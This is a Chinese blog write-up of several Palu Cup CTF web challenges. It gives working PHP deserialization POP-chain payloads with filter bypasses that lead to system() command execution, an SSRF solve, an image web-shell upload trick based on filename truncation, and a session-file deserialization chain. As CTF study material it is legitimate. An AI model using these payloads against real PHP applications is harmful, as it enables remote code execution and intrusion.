第一届帕鲁杯ctf一点点题目答案

web R23

<?php
show_source(__FILE__);
class a{
    public function __get($a){
        $this->b->love();
    }
}

class b{
    public function __destruct(){
        $tmp = $this->c->name;
    }
    public function __wakeup(){
        $this->c = "no!";
        $this->b = $this->a;
    }
}

class xk{
    public function love(){
       system($_GET['a']);
    }
}

if(preg_match('/R:2|R:3/',$_GET['pop'])){
    die("no");
}
unserialize($_GET['pop']); 

想了一天半,什么玩意啊,类里面都是没定义属性,后来分析其实可以把它当成已经定义的虽然会警告但是不影响。
分析,这题关键在system($_GET['a']);
pop链反推:xk–>a–>b
按理来说应该传:

O:1:“b”:3:{s:1:“c”;O:1:“a”:1:{s:1:“b”;O:2:“xk”:0:{}}s:1:“b”;R:2;s:1:“a”;r:2;}

然后自己get传一个a就得了,但是有过滤。
说实话,翻遍网上各种文章和博客,都没见过过滤R的,真的是第一次见到。以前只见过过滤O:\d+的,只要在数字前面加个+号即可。tnnd这次在R:后面的数字前加个+号竟然没用,执行不了。
就这样卡了一天,不过期间看了一篇文章:https://blog.frankli.site/2021/04/11/Security/php-src/PHP-Serialize-tips/
虽然看不懂,但是知道了用&引用的话,序列化字符串一定会出现大R,用文章里面的话说:(我听不懂他说的什么意思)

R/r后面的数字指代的是在 同一反序列化过程中
出现过的第n个非键(key)对象

只要我们让R后面不是2或3就行,我去gpt问了一下,有没有方法,这东西还真有。
它的方法是:

class outObject{
public h;
}
class innerObject{
  function __destruct(){
  system($_POST[a]);
}
$a=new outObject;
$b=new innerObject;
$a->h=$b;
echo(serialize($a));

当然不是对这题来说,放到这题,思路就是我们本来要传的是对象b的序列化字符串,但是如果让b成为另一个类的属性,就会改变R后面的值,原理暂时不知道。由于这里只有三个类,我们不能自己给它加一个类啊,这里我想到了php的原生类,可以直接用的那种,gpt说:
stdClass:一个空类,没有定义任何方法或属性。于是得到下面的poc

<?php
show_source(__FILE__);
class a{
	
    public function __get($a){
        $this->b->love();
    }
}
class b{
    public function __destruct(){
		
        $tmp = $this->c->name;
        echo('bye');
		var_dump($this->c);
    }
    public function __wakeup(){
		
        $this->c = "no!";
        $this->b = $this->a;
		//var_dump($this->a);
    }
}

class xk{
    public function love(){
	   echo('hi');
       system($_GET['a']);
    }
}

 $outerObj = new stdClass();
 $p=new a;
 $q=new b;
 $p->b=new xk;
 $q->b=&$q->c;
 $q->a=$p;
 $q->c=$p;
 $out->innerObject[0]=$q;//如果是innerObject=$q;打印出来R后面是3,把它变成数组第一个元素的话R后面就是4
 $str=serialize($out);
 echo($str);

最后:
O:8:“stdClass”:1:{s:11:“innerObject”;a:1:{i:0;O:1:“b”:3:{s:1:“c”;O:1:“a”:1:{s:1:“b”;O:2:“xk”:0:{}}s:1:“b”;R:4;s:1:“a”;r:4;}}}&a=cat flag.php然后看源码即可得flag。
补充:比赛结束后几个小时有大佬说O:1:“b”:3:{s:1:“c”;O:1:“a”:1:{s:1:“b”;O:2:“xk”:0:{}}s:1:“b”;R:02;s:1:“a”;r:2;}就能绕,本地试了一下果然可以,不亏是大佬简单高效,我还是太菜了。

web-签到

from flask import Flask, request, jsonify
import requests
from flag import flag  # 假设从 flag.py 文件中导入了 flag 函数
app = Flask(__name__)

@app.route('/', methods=['GET', 'POST'])
def getinfo():
    url = request.args.get('url')
    if url:
        # 请求url
        response = requests.get(url)
        content = response.text
        print(content)
        if "paluctf" in content:
            return flag
        else:
            return content
    else:
        response = {
            'message': 200,  # 这里是数值,不是字符串
            'data': "Come sign in and get the flag!"
        }
        return jsonify(response)
@app.route('/flag', methods=['GET', 'POST'])
def flag1():
    return "paluctf"

if __name__ == '__main__':
    app.run(debug=True, host="0.0.0.0", port=80)

疑似ssrf,url=http://www.baidu.com进入百度。但是其他协议试过了都不得,尝试访问http://127.0.0.1:3226/flag,因为只有返回的页面有paluctf才能得flag。而
@app.route(‘/flag’, methods=[‘GET’, ‘POST’])
def flag1():
return "paluctf"给了机会。但是牛魔的居然报错。什么鬼,后来试了试http://127.0.0.1/flag不加端口传,竟然得了。后来想了想人家函数都是/flag我还加什么端口呢我去。

宇宙召唤

这题是赛后大佬指点解出来的。
只能传图片,文件头检测
在这里插入图片描述png里面隐藏图片🐎,绕过检测,后缀是php.*png因为电脑文件名不能出现星号,但是后端应该是把文件名当字符串处理,但是放进目录时因为检测到不合法字符就把星号及其后面的字符截断了,从而生成php文件,拿到flag。
补充:后来看了官方wp发现好像是一个函数strtok()截断了星号及其后面的东西。

my love

赛后补做,我自己看不出有什么利用方法,而且条件竞争的环境也没开,根据官方wp,竟然利用的是session反序列化,首先查看session保存目录
在这里插入图片描述

<?php

class a{
    public function __get($a){
        $this->b->love();
    }
}

class b{
    public function __destruct(){
        $tmp = $this->c->name;
    }
    public function __wakeup(){
        $this->c = "no!";
        $this->b = $this->a;
    }
}

class xk{
    public function love(){
        $a = $this->mylove;
    }
    public function __get($a){
        if(preg_match("/\.|\.php/",$this->man)){
            die("文件名不能有.");
        }
        file_put_contents($this->man,base64_decode($this->woman));
    }
}
class end{
    public function love(){
        ($this->func)();
    }
}
$exp=new xk;
$exp->man = "/var/lib/php/session/sess_ccc";
$exp->woman = "YXxzOjM6ImFhYSI7bmFtZXxzOjE0OiJ5b3VyIGFyZSBnb29kISI7";
$ok = new a();
$a = new b();
$a->c = &$a->b;
$ok->b = $exp;
$a->a = $ok;
echo serialize($a);
?>

YXxzOjM6ImFhYSI7bmFtZXxzOjE0OiJ5b3VyIGFyZSBnb29kISI7是
a|s:3:“aaa”;name|s:14:“your are good!”;的base64编码。

//启⽤session
<?php
class a{
}
class b{
}
class xk{
}
class end{
}
$exp = new end;
$exp ->func = 'session_start';
$ok = new a();
$a = new b();
$a->c = &$a->b;
$ok->b = $exp;
$a->a = $ok;
echo serialize($a);

然后再get传test=_SESSION&shell=tac%20flag.php
(session文件名为sess加上PHPSESEID)
具体可以看这个大佬文章:https://lisien11.github.io/2024/04/21/%E5%B8%95%E9%B2%81%E6%9D%AF/index.html

后面我再学习session反序列化。

  • 12
    点赞
  • 8
    收藏
    觉得还不错? 一键收藏
  • 7
    评论

“相关推荐”对你有帮助么?

  • 非常没帮助
  • 没帮助
  • 一般
  • 有帮助
  • 非常有帮助
提交
评论 7
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值